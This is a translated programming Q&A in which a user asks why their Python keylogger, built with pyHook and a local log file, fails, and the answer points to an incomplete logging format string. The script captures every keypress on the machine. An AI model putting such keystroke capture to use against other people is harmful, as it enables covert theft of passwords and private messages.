我在youtube上关注了一个非常有缺陷的教程,但这是我能找到的最好的。我安装了pywin32和pyhook,它们都已安装,所以我不知道它可能是什么。
import pyHook, pythoncom, sys, logging
file_log = 'C:\Users\Nathan\Fun Stuff\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
答案 0 :(得分:2)
"格式"是指"%(message)"
不完整,应该是"%(message)s"
,s
表示" str转换类型" (请参阅docs) - 邮件通过str
内置。
"$(message)s"
恰好是默认的,我想你可以省略这个论点。